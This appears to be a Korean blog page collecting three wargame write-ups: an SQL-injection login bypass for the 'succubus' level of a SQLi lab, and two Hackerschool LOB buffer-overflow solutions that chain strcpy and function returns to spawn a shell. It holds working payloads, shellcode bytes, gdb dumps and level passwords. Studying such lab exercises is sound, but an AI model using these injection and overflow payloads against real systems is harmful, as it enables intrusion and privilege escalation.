반응형
반응형
반응형

SUCCUBUS

 

문제소스 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
  include "./config.php"
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i'$_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/\'/',$_GET[id])) exit("HeHe");
  if(preg_match('/\'/',$_GET[pw])) exit("HeHe");
  $query = "select id from prob_succubus where id='{$_GET[id]}' and pw='{$_GET[pw]}'"
  echo "<hr>query : <strong>{$query}</strong><hr><br>"
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) solve("succubus"); 
  highlight_file(__FILE__); 
?>
cs

 

싱글쿼트 ' 을 id와 pw에서 모두 필터링 한다.

 

id 값에 \을 입력해주면, $query에서 id='\' and pw='' 가 되는데

\'string 싱글쿼트 ' 로 인식하게 된다.

 

 

 

 

 

pw 에 or 1%23을 입력해주어서 id를 true로 만들어버리자.

 

id = '\' and pw =' or 1#'

반응형
반응형


해커스쿨 LOB LEVEL18 [succubus -> nightmare] 풀이


M4ndU




해커스쿨 LOB [succubus -> nightmare] 풀이입니다.


ID | succubus

PW | here to stay

으로 로그인합니다.



\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.


$ bash2


그리고


$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합시다.




login: succubus

Password:

[succubus@localhost succubus]$ bash2

[succubus@localhost succubus]$ ls -l

total 20

-rwsr-sr-x    1 nightmar nightmar    12983 Mar 30  2010 nightmare

-rw-r--r--    1 root     root          625 Mar 30  2010 nightmare.c

[succubus@localhost succubus]$ cat nightmare.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - nightmare

        - PLT

*/


#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <dumpcode.h>


main(int argc, char *argv[])

{

        char buffer[40];

        char *addr;


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        // check address

        addr = (char *)&strcpy;

        if(memcmp(argv[1]+44, &addr, 4) != 0){

                printf("You must fall in love with strcpy()\n");

                exit(0);

        }


        // overflow!

        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);


        // dangerous waterfall

        memset(buffer+40+8, 'A', 4);

}


소스를 보면


        // check address

        addr = (char *)&strcpy;

        if(memcmp(argv[1]+44, &addr, 4) != 0){

                printf("You must fall in love with strcpy()\n");

                exit(0);

        }


리턴 주소가 strcpy()함수의 주소여야 하고,


        // dangerous waterfall

        memset(buffer+40+8, 'A', 4);


리턴 주소다음 4바이트 부분 = strcpy()함수의 리턴 주소를 A로 채우네요.

A로 채워진 부분을 strcpy함수를 통해 쉘코드 주소로 다시 덮어주어야 합니다.

페이로드를 구성해보면

&(&shellcode)[4]+dummy[40]+&strcpy()[4]+dummy[4]+4바이트 앞 주소(strcpy()의 리턴주소)[4]+&buffer[4]


일단 strcpy()의 주소를 구해줍니다.

[succubus@localhost succubus]$ gdb -q nightmare
(gdb) set disassembly-flavor intel
(gdb) disas main
(생략)
0x8048722 <main+110>:   call   0x8048410 <strcpy>
(생략)

그리고 쉘코드를 환경변수에 넣어줍니다.
그 전에 쉘코드의 주소를 다른 환경변수에 넣어주기 위해 공간을 확보합니다.

$export EGG1=`python -c 'print "\xff\xff\xff\xff"'`
$export EGG2=`python -c 'print "\x90"*100+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
$echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG1")); } ' > get1.c
$gcc get1.c -o 1
$echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG2")); } ' > get2.c
$gcc get2.c -o 2

이제 strcpy()의 리턴주소가 들어가는 주소를 구합니다.


[succubus@localhost succubus]$ mkdir tmp
[succubus@localhost succubus]$ cp nightmare tmp/
[succubus@localhost succubus]$ cd tmp/
[succubus@localhost tmp]$ ./nightmare `python -c 'print "D"*44+"\x10\x84\x04\x08"+"C"*12'`
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDCCCCCCCCCCCC
Segmentation fault (core dumped)
[succubus@localhost tmp]$ gdb -c core -q
Core was generated by `./nightmare DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDCCCCCCCCCCCC'.
Program terminated with signal 11, Segmentation fault.
#0  0x400767c1 in ?? ()
(gdb) x/40x $esp-40
0xbffff9e0:     0x44444444      0x44444444      0x44444444      0x44444444
0xbffff9f0:     0x44444444      0x44444444      0x44444444      0x44444444
0xbffffa00:     0x44444444      0x44444444      0x4000ae60      0x44444444
0xbffffa10:     0x41414141      0x43434343      0x43434343      0x40013800
0xbffffa20:     0x00000002      0x08048420      0x00000000      0x08048441
0xbffffa30:     0x080486b4      0x00000002      0xbffffa54      0x08048350
0xbffffa40:     0x0804877c      0x4000ae60      0xbffffa4c      0x40013e90
0xbffffa50:     0x00000002      0xbffffb61      0xbffffb6d      0x00000000
0xbffffa60:     0xbffffbaa      0xbffffbc1      0xbffffbcb      0xbffffc5e
0xbffffa70:     0xbffffc76      0xbffffc95      0xbffffcb7      0xbffffcc5


buffer은 0xbffff9e0이고
ret는 0xbffffa10이네요.

이제 페이로드를 완성하기 위해 환경변수에 들어간 쉘코드의 주소를 구해줍니다.

[succubus@localhost env]$ ./2
ADDR -> 0xbffffbe4

그리고 EGG1을 다시 설정해줍니다.

$export EGG1=`python -c 'print "\xe4\xfb\xff\xbf"'`


[succubus@localhost env]$ export EGG1=`python -c 'print "\x48\xfc\xff\xbf"'`

[succubus@localhost env]$ ./1

ADDR -> 0xbffffbda




&strcpy() | 0x08048410

&ret | 0xbffffa10

&(&SHELLCODE) | 0xbffffbda

&buffer | 0xbffff9e0


모두 구했습니다.

그럼 익스플로잇!



./nightmare `python -c 'print "\xda\xfb\xff\xbf"+"D"*40+"\x10\x84\x04\x08"+"A"*4+"\x10\xfa\xff\xbf"+"\xe0\xf9\xff\xbf"'`




[succubus@localhost tmp]$ ./nightmare `python -c 'print "\xda\xfb\xff\xbf"+"D"*40+"\x10\x84\x04\x08"+"A"*4+"\x10\xfa\xff\xbf"+"\xe0\xf9\xff\xbf"'`
拔풡DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDAAAA?욈??
bash$ exit
exit
[succubus@localhost succubus]$ cd ..
[succubus@localhost succubus]$ ./nightmare `python -c 'print "\xda\xfb\xff\xbf"+"D"*40+"\x10\x84\x04\x08"+"A"*4+"\x10\xfa\xff\xbf"+"\xe0\xf9\xff\xbf"'`
拔풡DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDAAAA?욈??
bash$ my-pass
euid = 518
beg for me

성공! 다음 레벨로 가즈아ㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏ



반응형
반응형


해커스쿨 LOB LEVEL17 [zombie_assassin -> succubus] 풀이


M4ndU




해커스쿨 LOB [zombie_assassin -> succubus] 풀이입니다.


ID | zombie_assassin

PW | no place to hide

으로 로그인합니다.



\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.


$ bash2


그리고


$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합시다.




login: zombie_assassin

Password:

[zombie_assassin@localhost zombie_assassin]$ bash2

[zombie_assassin@localhost zombie_assassin]$ ls -l

total 20

-rwsr-sr-x    1 succubus succubus    13782 Mar 30  2010 succubus

-rw-r--r--    1 root     root         1519 Mar 30  2010 succubus.c

[zombie_assassin@localhost zombie_assassin]$ cat succubus.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - succubus

        - calling functions continuously

*/


#include <stdio.h>

#include <stdlib.h>

#include <dumpcode.h>


// the inspector

int check = 0;


void MO(char *cmd)

{

        if(check != 4)

                exit(0);


        printf("welcome to the MO!\n");


        // olleh!

        system(cmd);

}


void YUT(void)

{

        if(check != 3)

                exit(0);


        printf("welcome to the YUT!\n");

        check = 4;

}


void GUL(void)

{

        if(check != 2)

                exit(0);


        printf("welcome to the GUL!\n");

        check = 3;

}


void GYE(void)

{

        if(check != 1)

                exit(0);


        printf("welcome to the GYE!\n");

        check = 2;

}


void DO(void)

{

        printf("welcome to the DO!\n");

        check = 1;

}


main(int argc, char *argv[])

{

        char buffer[40];

        char *addr;


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        // you cannot use library

        if(strchr(argv[1], '\x40')){

                printf("You cannot use library\n");

                exit(0);

        }


        // check address

        addr = (char *)&DO;

        if(memcmp(argv[1]+44, &addr, 4) != 0){

                printf("You must fall in love with DO\n");

                exit(0);

        }


        // overflow!

        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);


        // stack destroyer

        // 100 : extra space for copied argv[1]

        memset(buffer, 0, 44);

        memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100));


        // LD_* eraser

        // 40 : extra space for memset function

        memset(buffer-3000, 0, 3000-40);

}



소스를 보면,

        // check address

        addr = (char *)&DO;

        if(memcmp(argv[1]+44, &addr, 4) != 0){

                printf("You must fall in love with DO\n");

                exit(0);

        }


리턴주소가 무조건 DO()함수 주소여야 하네요.

그리고 각 DO GYE GUL YUT MO함수에 도달하면서 check 조건문을 만족 시키고

최종적으로 MO함수에 도달해서 쉘을 띄우면 되는 것 같습니다.


순서대로 함수를 호출하고, system()의 인자로 "/bin/sh"를 넣어주면 된다.


페이로드를 구성해보면


dummy[44]+&DO()[4]+&GYE()[4]+&GUL()[4]+&YUT()[4]+&MO()[4]+dummy[4]+&"/bin/sh"[4]+"/bin/sh"


&MO()[4]뒤에 dummy 4바이트는 MO함수의 리턴 주소를 덮어준 것이다.


그럼 각 함수의 주소를 알아낸다.


[zombie_assassin@localhost zombie_assassin]$ readelf -s ./succubus |grep FUNC

    1:  80483dc   359 FUNC    GLOBAL  0  UND strchr@GLIBC_2.0 (2)

    2:  80483ec   116 FUNC    WEAK    0  UND __register_frame_info@GLIBC_2.0 (2)

    3:  80483fc    46 FUNC    GLOBAL  0  UND isprint@GLIBC_2.0 (2)

    4:  804840c   670 FUNC    GLOBAL  0  UND system@GLIBC_2.0 (2)

    5:  804841c   162 FUNC    WEAK    0  UND __deregister_frame_info@GLIBC_2.0 (2)

    6:  804842c    30 FUNC    GLOBAL  0  UND memcmp@GLIBC_2.0 (2)

    7:  804843c   261 FUNC    GLOBAL  0  UND __libc_start_main@GLIBC_2.0 (2)

    8:  804844c    41 FUNC    GLOBAL  0  UND printf@GLIBC_2.0 (2)

    9:  804845c   232 FUNC    GLOBAL  0  UND exit@GLIBC_2.0 (2)

   10:  804846c    70 FUNC    GLOBAL  0  UND memset@GLIBC_2.0 (2)

   13:  804847c    34 FUNC    GLOBAL  0  UND strcpy@GLIBC_2.0 (2)

   37:  80484c0     0 FUNC    LOCAL   0   12 __do_global_dtors_aux

   39:  8048508     0 FUNC    LOCAL   0   12 fini_dummy

   41:  8048510     0 FUNC    LOCAL   0   12 frame_dummy

   42:  8048530     0 FUNC    LOCAL   0   12 init_dummy

   47:  8048920     0 FUNC    LOCAL   0   12 __do_global_ctors_aux

   49:  8048944     0 FUNC    LOCAL   0   12 init_dummy

   57:  8048584   416 FUNC    GLOBAL  0   12 dumpcode

   58:  80483dc   359 FUNC    GLOBAL  0  UND strchr@@GLIBC_2.0

   61:  80483ec   116 FUNC    WEAK    0  UND __register_frame_info@@GLIBC_2.0

   62:  80483fc    46 FUNC    GLOBAL  0  UND isprint@@GLIBC_2.0

   64:  804875c    47 FUNC    GLOBAL  0   12 YUT

   65:  804840c   670 FUNC    GLOBAL  0  UND system@@GLIBC_2.0

   66:  80487bc    47 FUNC    GLOBAL  0   12 GYE

   67:  804839c     0 FUNC    GLOBAL  0   10 _init

   68:  804841c   162 FUNC    WEAK    0  UND __deregister_frame_info@@GLIBC_2.0

   69:  80487ec    28 FUNC    GLOBAL  0   12 DO

   72:  804878c    47 FUNC    GLOBAL  0   12 GUL

   73:  804842c    30 FUNC    GLOBAL  0  UND memcmp@@GLIBC_2.0

   75:  8048808   268 FUNC    GLOBAL  0   12 main

   76:  804843c   261 FUNC    GLOBAL  0  UND __libc_start_main@@GLIBC_2.0

   78:  804844c    41 FUNC    GLOBAL  0  UND printf@@GLIBC_2.0

   79:  8048540    66 FUNC    GLOBAL  0   12 printchar

   80:  804894c     0 FUNC    GLOBAL  0   13 _fini

   81:  804845c   232 FUNC    GLOBAL  0  UND exit@@GLIBC_2.0

   85:  804846c    70 FUNC    GLOBAL  0  UND memset@@GLIBC_2.0

   89:  804847c    34 FUNC    GLOBAL  0  UND strcpy@@GLIBC_2.0

   90:  8048724    55 FUNC    GLOBAL  0   12 MO



DO() | 0x080487ec

GYE() | 0x080487bc

GUL() | 0x0804878c

YUT() | 0x0804875c

MO() | 0x08048724


이제 "/bin/sh"의 주소를 구해줍니다.


./succubus `python -c 'print "D"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"D"*4+"SSSS"+"/bin/sh"'`



tmp폴더를 만들어서 복사본을 만들고 core 덤프를 일으켜서 gdb로 core 파일을 분석합니다.


[zombie_assassin@localhost zombie_assassin]$ mkdir tmp

[zombie_assassin@localhost zombie_assassin]$ cp succubus tmp/

[zombie_assassin@localhost zombie_assassin]$ cd tmp/

[zombie_assassin@localhost tmp]$ ./succubus `python -c 'print "D"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"D"*4+"SSSS"+"/bin/sh"'`

DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD耳?$DDDDSSSS/bin/sh

welcome to the DO!

welcome to the GYE!

welcome to the GUL!

welcome to the YUT!

welcome to the MO!

Segmentation fault (core dumped)

[zombie_assassin@localhost tmp]$ gdb -c core -q

Core was generated by `                                                                              '.

Program terminated with signal 11, Segmentation fault.

#0  0x44444444 in ?? ()

(gdb) x/10s $esp

0xbffffa94:      "SSSS/bin/sh"

0xbffffaa0:      "\b\210\004\b\002"

0xbffffaa6:      ""

0xbffffaa7:      ""

0xbffffaa8:      "퀭?234\203\004\bL\211\004\b`?

0xbffffab7:      "@술?220>\001@\002"

0xbffffac2:      ""

0xbffffac3:      ""

0xbffffac4:      "빛옮??

0xbffffacd:      ""

(gdb) x/s 0xbffffa98

0xbffffa98:      "/bin/sh"



이제 익스플로잇!

./succubus `python -c 'print "D"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"D"*4+"\x98\xfa\xff\xbf"+"/bin/sh"'`



[zombie_assassin@localhost tmp]$ cd ..

[zombie_assassin@localhost zombie_assassin]$ ./succubus `python -c 'print "D"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"D"*4+"\x98\xfa\xff\xbf"+"/bin/sh"'`

DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD耳?$DDDD섨?bin/sh

welcome to the DO!

welcome to the GYE!

welcome to the GUL!

welcome to the YUT!

welcome to the MO!

bash$

bash$ my-pass

euid = 517

here to stay



성공! 다음 레벨로 가즈아ㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏ


반응형

+ Recent posts